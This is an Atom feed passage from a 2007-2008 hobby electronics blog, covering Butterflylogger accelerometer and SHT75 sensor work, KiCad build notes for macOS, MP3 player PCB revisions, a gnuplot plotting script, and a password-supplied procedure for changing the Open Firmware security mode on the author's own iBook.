src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-117786027902363897</id><published>2008-08-12T22:34:00.007+01:00</published><updated>2008-10-17T11:23:59.995+01:00</updated><title type='text'>Cheap 3D accelerometers and SPI issues.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/_IMG_5231.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px;" src="http://www.brokentoaster.com/_IMG_5231.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Just added support for &lt;a href="http://www.kionix.com/"&gt;Kionix&lt;/a&gt; accelerometers to the &lt;a href="http://www.brokentoaster.com/butterflylogger/"&gt;Butterflylogger&lt;/a&gt; project. In particular the KXPS5 using the breakout PCB from &lt;a href="http://www.crodnet.co.uk/"&gt;Crodnet&lt;/a&gt;. The main advantage of this accelerometer of others as far as I can see is the price as well as having both digital (SPI and I2C) as well as analogue interfaces.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/_kxp3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px;" src="http://www.brokentoaster.com/_kxp3.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Had a small hiccupp in getting the SPI bus to behave. It seemed that when I drove the SCLK line while clocking out a response from the accelerometer, the cross talk (with the MISO Line) would interfere with the output &lt;span style="font-style:italic;"&gt;(see above)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/_kxp2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px;" src="http://www.brokentoaster.com/_kxp2.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After a number of ineffective  tweaks with speed and the IO setup for the lines I decided to shorten the lines. After shortening the lines all the problems went away. For reference the original lines were approximatly 10cm between the butterfly and the breakout board.&lt;br /&gt;&lt;br /&gt;NOTE: the code for talking to the accelerometer is &lt;a href="http://butterflylogger.cvs.sourceforge.net/viewvc/butterflylogger/logger/KXPS5-3157.c?view=markup"&gt;KXPS5-3157.c&lt;/a&gt; and &lt;a href="http://butterflylogger.cvs.sourceforge.net/viewvc/butterflylogger/logger/KXPS5-3157.h?view=markup"&gt;KXPS5-3157.h&lt;/a&gt; The will be included in the next code release but for the meantime you will need to get them from the CVS repository.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-117786027902363897?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/117786027902363897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=117786027902363897' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/117786027902363897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/117786027902363897'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/08/just-added-support-for-kionix.html' title='Cheap 3D accelerometers and SPI issues.'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6918537790952587437</id><published>2008-08-12T22:08:00.004+01:00</published><updated>2008-08-19T19:13:25.495+01:00</updated><title type='text'>How to disable the open firmware  password on a G4 iBook</title><content type='html'>I recently replaced the HD in the old G4 iBook (now I see why people were excited about the new macbook designs... &lt;a href="http://www.ifixit.com/Guide/Mac/iBook-G4-12-Inch/Hard-Drive-Replacement/83/14/"&gt;this&lt;/a&gt; vs &lt;a href="http://www.ifixit.com/Guide/Mac/MacBook-Core-2-Duo/Hard-Drive-Replacement/116/5/"&gt;this&lt;/a&gt;). Partitioned and formatted the hdd prior to installing. Thought I'd use the old "hold down T during boot to turn the laptop into a firewire drive" trick....&lt;br /&gt;&lt;br /&gt;unfortunately this page &lt;a href="http://support.apple.com/kb/HT1661 "&gt;http://support.apple.com/kb/HT1661 &lt;/a&gt;has the note&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Important: The computer will not go into FireWire target disk mode if "Open Firmware Password" has been enabled.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So here is how to disable the open firmware  password on an ibook. (After the print env command check to see if the security-mode option is command or full.)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;reboot&lt;br /&gt;hold down cmd-opt-o-f&lt;br /&gt;printenv&lt;br /&gt;&lt;password&gt;&lt;br /&gt;setenv security-mode none&lt;br /&gt;reset-all&lt;br /&gt;&lt;br /&gt;reboot &lt;br /&gt;hold down T&lt;br /&gt;&lt;br /&gt;copy files&lt;br /&gt;&lt;br /&gt;reboot&lt;br /&gt;hold down cmd-opt-o-f&lt;br /&gt;setenv security-mode command/full what ever it was before&lt;br /&gt;reset-all&lt;br /&gt;&lt;br /&gt;get on with your life ;)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Useful links:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://manuals.info.apple.com/en_US/Command_Line_Admin_v10.5.pdf"&gt;http://manuals.info.apple.com/en_US/Command_Line_Admin_v10.5.pdf&lt;/a&gt; pg134&lt;br /&gt;&lt;a href="http://www.firmworks.com/QuickRef.html"&gt;http://www.firmworks.com/QuickRef.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ifixit.com"&gt;http://www.ifixit.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6918537790952587437?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6918537790952587437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6918537790952587437' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6918537790952587437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6918537790952587437'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/08/i-just-replaced-hd-in-old-g4-ibook-now.html' title='How to disable the open firmware  password on a G4 iBook'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-3835323782016378310</id><published>2008-06-17T13:38:00.003+01:00</published><updated>2008-06-17T14:01:22.718+01:00</updated><title type='text'>SHT75/SHT15 Sensors tested</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/butterflylogger/images/sht75-good.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://brokentoaster.com/butterflylogger/images/sht75-good.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/butterflylogger/images/sht75-bad.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://brokentoaster.com/butterflylogger/images/sht75-bad.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Found some time last weekend to test out the latest release of butterflylogger with an SHT75 sensor from www.sensiron.com, which I bought from Farnell. I haven't had one of these for testing since I destroyed my last one back in 2004.&lt;br /&gt;&lt;br /&gt;The first thing I noticed was a very unusual looking clock signal when talking to the sensor. Although this did not seem to bother the SHT75 I decided to fix it for a more robust interface.&lt;br /&gt;&lt;br /&gt;I also decided to add a command to output the current readings for temperature and humidity from the device via the serial interface. "J" and "j" will print the hex values for temperature and humidity respectively.&lt;br /&gt;&lt;br /&gt;I have also added the ability to do the real world conversions on the logger. If you have the code space (ie. have disabled the LCD, joystick and menu system) you can have the device log the actual temperature and relative humidity. If you are also logging the batter voltage, the logger will read the battery voltage and use this in the conversion interpolating values from the table given in the data sheet for 'D1' (see page 5).&lt;br /&gt;&lt;br /&gt;The overhead of adding the realworld values is about 800 bytes and using the battery voltage as well a further 200 bytes. If your looking to save space then this is probable code you would wnat to disable. In Sht.h there is a &lt;code&gt;#define ENABLE_SHT_CALCS &lt;/code&gt; which can be commented out to revert to the old behaviour of simple hex values being logged and real world conversions being done on the host PC post logging.&lt;br /&gt;&lt;br /&gt;Supose now I'd best get back to finishing my &lt;a href="http://brokentoaster.com/butterflymp3/construction.html"&gt;construction pages for the mp3 player&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-3835323782016378310?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/3835323782016378310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=3835323782016378310' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3835323782016378310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3835323782016378310'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/06/sht75sht15-sensors-tested.html' title='SHT75/SHT15 Sensors tested'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-5632528276977850319</id><published>2008-06-01T15:12:00.003+01:00</published><updated>2008-06-01T15:27:14.972+01:00</updated><title type='text'>New Firmware for ButterflyLogger</title><content type='html'>The newest version of the butterflyLogger open source data logger project has been released. This version adds the ability to strip out the display, joystick and menu code to leave more room for other code. This gives you a serial only interface and more logging options but you loose the ability to interacft with the logger without a terminal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Changes:&lt;br /&gt;- New definitions in main.h to remove all the LCD, menu and joystick code for a serial only interface.&lt;br /&gt;- Usart 'H' command to display a message on the LCD&lt;br /&gt;- Usart 'h' command to print the data headers &lt;br /&gt;- Changes to the makefile to produce smaller code with 4.3.0 compiler&lt;br /&gt;- No longer need to comment out unused source files from the makefile as linker now removes unused code.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;More information  at &lt;a href="http://brokentoaster.com/butterflylogger/"&gt;http://brokentoaster.com/butterflylogger/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-5632528276977850319?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/butterflylogger/' title='New Firmware for ButterflyLogger'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/5632528276977850319/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=5632528276977850319' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/5632528276977850319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/5632528276977850319'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/06/new-firmware-for-butterflylogger.html' title='New Firmware for ButterflyLogger'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-3485211557751628100</id><published>2008-05-20T22:13:00.007+01:00</published><updated>2008-05-22T21:46:45.118+01:00</updated><title type='text'>Compiling Kicad for the Mac.</title><content type='html'>Thought I'd post my instructions so far on getting kicad to compile on my macbook. Its missing a few steps from the last time I tried so things are getting better I guess.&lt;br /&gt;&lt;br /&gt;the pcb and gerber apps are still broken due to some nested wxDC which is no longer allowed in wxMac 2.9. I'll have to actually look at the code more closely to get it to work.&lt;br /&gt;&lt;br /&gt;// build notes for kicad on osx 10.5.2&lt;br /&gt;// wxwidgets installed using macports 1.60&lt;br /&gt;&lt;br /&gt;- installed boost boost-1-34-1&lt;br /&gt;&lt;br /&gt;- changed CMakeLists.txt &lt;br /&gt;&lt;blockquote&gt;# Locations for install targets.&lt;br /&gt;set(KICAD_BIN bin CACHE PATH "Location of KiCad binaries.")&lt;br /&gt;&lt;br /&gt;if(UNIX)&lt;br /&gt;    if(APPLE)&lt;br /&gt;        # Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.&lt;br /&gt;        set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH "")&lt;br /&gt;        # When used later, "bin" and others with no leading / is relative to CMAKE_INSTALL_PREFIX.&lt;br /&gt;        set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH "Location of KiCad plugins.")&lt;br /&gt;        set(KICAD_DATA share/kicad CACHE PATH "Location of KiCad data files.")&lt;br /&gt;        set(KICAD_DOCS share/doc/kicad CACHE PATH "Location of KiCad documentation files.")&lt;br /&gt;    else(APPLE)&lt;br /&gt;        # Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.&lt;br /&gt;        set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH "")&lt;br /&gt;        # When used later, "bin" and others with no leading / is relative to CMAKE_INSTALL_PREFIX.&lt;br /&gt;        set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH "Location of KiCad plugins.")&lt;br /&gt;        set(KICAD_DATA share/kicad CACHE PATH "Location of KiCad data files.")&lt;br /&gt;        set(KICAD_DOCS share/doc/kicad CACHE PATH "Location of KiCad documentation files.")&lt;br /&gt;    endif(APPLE)&lt;br /&gt;endif(UNIX)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;-  changed minizip.c&lt;br /&gt;&lt;blockquote&gt;//#ifdef unix&lt;br /&gt;# include &amp;lt unistd.h&amp;gt&lt;br /&gt;# include &amp;lt utime.h&amp;gt&lt;br /&gt;# include &amp;lt sys/types.h&amp;gt&lt;br /&gt;# include &amp;lt sys/stat.h&amp;gt&lt;br /&gt;//#else&lt;br /&gt;//# include &amp;lt direct.h&amp;gt&lt;br /&gt;//# include &amp;lt io.h&amp;gt&lt;br /&gt;//#endif&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;- added #include &amp;lt string &amp;gt to dsn.h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mkdir -p build/release/&lt;br /&gt;mkdire build/debug&lt;br /&gt;cd  build/release&lt;br /&gt;cmake -DCMAKE_BUILDTYPE=Release -DCMAKE_INSTALL_PREFIX=/users/nick/install ../../&lt;br /&gt;make &lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EDIT: As requested I have uploaded my compiled but broken builds . they are at &lt;a href="http://brokentoaster.com/KicadDev.zip"&gt;http://brokentoaster.com/KicadDev.zip&lt;/a&gt; You may also need to install the boost libraries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-3485211557751628100?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://kicad.sf.net/' title='Compiling Kicad for the Mac.'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/3485211557751628100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=3485211557751628100' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3485211557751628100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3485211557751628100'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/05/compiling-kicad-for-mac.html' title='Compiling Kicad for the Mac.'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-8725048181630263500</id><published>2008-05-18T23:57:00.002+01:00</published><updated>2008-05-19T00:04:45.770+01:00</updated><title type='text'>New MP3 hardware release... Rev F</title><content type='html'>I've finally managed to release the &lt;span style="font-weight:bold;"&gt;Rev F PCB.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This version simply adds an available SD card socket to the Rev E design. The SD card is available from Farnell.&lt;br /&gt;&lt;br /&gt;I've also done a complete (well almost) bill of materials. The BOM is almost entirely supplied by Farnell with the exception of one or two components. To make life easier I've also tried to find suitable components from Digikey as well.&lt;br /&gt;&lt;br /&gt;The PCB files are at &lt;a href="https://sourceforge.net/project/showfiles.php?group_id=1241"&gt;SourceForge&lt;/a&gt; and are in eagle format, the BOM is on the &lt;a href="http://www.brokentoaster.com/butterflymp3/hw.html"&gt;hardware page&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-8725048181630263500?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/8725048181630263500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=8725048181630263500' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8725048181630263500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8725048181630263500'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/05/new-mp3-hardware-release-rev-f.html' title='New MP3 hardware release... Rev F'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6886709845751509175</id><published>2008-04-19T17:50:00.002+01:00</published><updated>2008-06-10T13:01:15.780+01:00</updated><title type='text'>Brays Terminal lives!</title><content type='html'>Looks like brays terminal is back up. I've been struggling to find links to this great terminal program since the original site went down last year.&lt;br /&gt;&lt;br /&gt;from 8052.com http://www.8052.com/forumchat/read.phtml?id=151897&lt;br /&gt;&lt;blockquote&gt;The rumors of the death of best developer's terminal program have been greatly exaggerated: &lt;br /&gt;http://braypp.googlepages.com/terminal&lt;br&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a href="http://braypp.googlepages.com/terminal"&gt;http://braypp.googlepages.com/terminal&lt;/a&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6886709845751509175?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://braypp.googlepages.com/terminal' title='Brays Terminal lives!'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6886709845751509175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6886709845751509175' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6886709845751509175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6886709845751509175'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/04/brays-terminal-lives.html' title='Brays Terminal lives!'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-934252949669030952</id><published>2008-04-11T19:30:00.003+01:00</published><updated>2008-04-11T19:38:20.923+01:00</updated><title type='text'>GNUPlot for the data logger files</title><content type='html'>A few people have asked how I do my graphs in the &lt;a href="http://www.brokentoaster.com/butterflylogger/"&gt;datalogger&lt;/a&gt; project.&lt;br /&gt;&lt;br /&gt;I use gnuplot via the following script i call 'makeplots.sh'&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/sh&lt;br /&gt;for file &lt;br /&gt;do&lt;br /&gt;gnuplot &lt;&lt; EOF&lt;br /&gt;set terminal png size 1024,768&lt;br /&gt;set output "$file.png"&lt;br /&gt;set origin 0,0&lt;br /&gt;plot   "$file.txt" u 3  w i t 'light' axes x1y2 2, "$file.txt" u 9 w l t 'Temperature' 1&lt;br /&gt;EOF&lt;br /&gt;open $file.png&lt;br /&gt;done&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I capture the output from the logger using a terminal program and save it as "data.txt"&lt;br /&gt;I then call 'makeplots.sh data.txt" and I'm done.&lt;br /&gt;&lt;br /&gt;I run this on a Mac with osX 10.5 ( it also worked in older versions as well)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-934252949669030952?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/butterflylogger/appendix.html' title='GNUPlot for the data logger files'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/934252949669030952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=934252949669030952' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/934252949669030952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/934252949669030952'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/04/few-people-have-asked-how-i-do-my.html' title='GNUPlot for the data logger files'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6857070188474328325</id><published>2008-03-31T02:37:00.002+01:00</published><updated>2008-03-31T02:39:54.205+01:00</updated><title type='text'>MP3 Player construction videos</title><content type='html'>I have finally found time to finish my construction videos for the Rev.F MP3 Player&lt;br /&gt;&lt;br /&gt;You can find it at &lt;a href="http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F"&gt;http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now to release the RevF PCB and to do the Construction page for the website with the photo and videos......&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6857070188474328325?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F' title='MP3 Player construction videos'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6857070188474328325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6857070188474328325' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6857070188474328325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6857070188474328325'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/03/mp3-player-construction-videos.html' title='MP3 Player construction videos'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6233157966517194581</id><published>2008-01-13T10:19:00.001Z</published><updated>2008-01-13T10:21:02.750Z</updated><title type='text'>Best DIY Electronics Guides</title><content type='html'>I've just discovered &lt;a href="http://www.curiousinventor.com/guides"&gt;this&lt;/a&gt; great site which puts all my soldering videos to shame. Fantastic quality of both the video and the content itself. &lt;br /&gt;&lt;br /&gt;I'll still post my latest MP3 player construction videos in the near future but this site is a great resource for anyone looking at getting into building electronics at home.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.curiousinventor.com/guides"&gt;http://www.curiousinventor.com/guides&lt;/a&gt;&lt;br class="webkit-block-placeholder"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6233157966517194581?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.curiousinventor.com/guides' title='Best DIY Electronics Guides'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6233157966517194581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6233157966517194581' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6233157966517194581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6233157966517194581'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/01/best-diy-electronics-guides.html' title='Best DIY Electronics Guides'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-4868535164664387535</id><published>2007-11-25T22:32:00.000Z</published><updated>2007-11-25T22:37:18.075Z</updated><title type='text'>New project page</title><content type='html'>Just finished some minor cosmetic changes to the Brokentoaster webpages and put up a new project.&lt;br /&gt;The new project is &lt;a href="http://brokentoaster.com/quickcoms/"&gt;Quickcoms&lt;/a&gt; which is the Renesas competition entry from 2005 and the basis for the article in Circuit Cellar January 2007.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-4868535164664387535?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/quickcoms/' title='New project page'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/4868535164664387535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=4868535164664387535' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4868535164664387535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4868535164664387535'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2007/11/new-project-page.html' title='New project page'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-4877004739124868517</id><published>2007-11-15T07:56:00.000Z</published><updated>2007-11-15T08:07:51.942Z</updated><title type='text'>New MP3 Player PCBs.... soon.</title><content type='html'>I've just finished 2 new PCB revisions for the MP3 player. One PCB uses the new VS1053 chip so should be able to play Ogg Vorbis, WMA, MP3, WAV and all the rest. This is of course at the cost of ease of construction and the PCB needs to be 2 layers so is slightly more expensivve to manufacture. Not to worry because the second design is a slight revision of the original PCB using the VS1003 so is easy to solder but MP3 only. The new designs will add the the ability to use SD and MMC cards. I  have a full bill of materials with 90% of parts available from Farnell and Digikey.&lt;br 